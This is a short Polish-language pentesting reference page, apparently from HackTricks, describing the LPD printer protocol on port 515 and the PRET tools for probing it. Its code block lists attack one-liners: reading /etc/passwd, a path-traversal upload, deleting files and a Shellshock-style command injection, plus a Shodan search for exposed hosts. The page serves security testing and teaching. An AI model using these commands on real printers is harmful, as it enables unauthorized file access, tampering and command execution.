{{#include ../banners/hacktricks-training.md}} ### **Wprowadzenie do protokołu LPD** W latach 80. opracowano **protokół Line Printer Daemon (LPD)** w Berkeley Unix, który później został sformalizowany w RFC1179. Protokół ten działa na porcie 515/tcp, umożliwiając interakcje za pomocą polecenia `lpr`. Istota drukowania za pomocą LPD polega na wysyłaniu **pliku kontrolnego** (w celu określenia szczegółów zadania i użytkownika) wraz z **plikem danych** (który zawiera informacje do druku). Podczas gdy plik kontrolny pozwala na wybór **różnych formatów plików** dla pliku danych, obsługa tych plików jest określona przez konkretną implementację LPD. Szeroko uznawana implementacja dla systemów podobnych do Unix to **LPRng**. Należy zauważyć, że protokół LPD może być wykorzystywany do wykonywania **złośliwego PostScript** lub **zleceń druku PJL**. ### **Narzędzia do interakcji z drukarkami LPD** [**PRET**](https://github.com/RUB-NDS/PRET) wprowadza dwa podstawowe narzędzia, `lpdprint` i `lpdtest`, oferujące prostą metodę interakcji z drukarkami zgodnymi z LPD. Narzędzia te umożliwiają szereg działań, od drukowania danych po manipulowanie plikami na drukarce, takie jak pobieranie, przesyłanie lub usuwanie: ```python # To print a file to an LPD printer lpdprint.py hostname filename # To get a file from the printer lpdtest.py hostname get /etc/passwd # To upload a file to the printer lpdtest.py hostname put ../../etc/passwd # To remove a file from the printer lpdtest.py hostname rm /some/file/on/printer # To execute a command injection on the printer lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4' # To send a mail through the printer lpdtest.py hostname mail lpdtest@mailhost.local ``` Dla osób zainteresowanych dalszym zgłębianiem tematu **hackingu drukarek**, kompleksowe zasoby można znaleźć tutaj: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page). # Shodan - `port 515` {{#include ../banners/hacktricks-training.md}}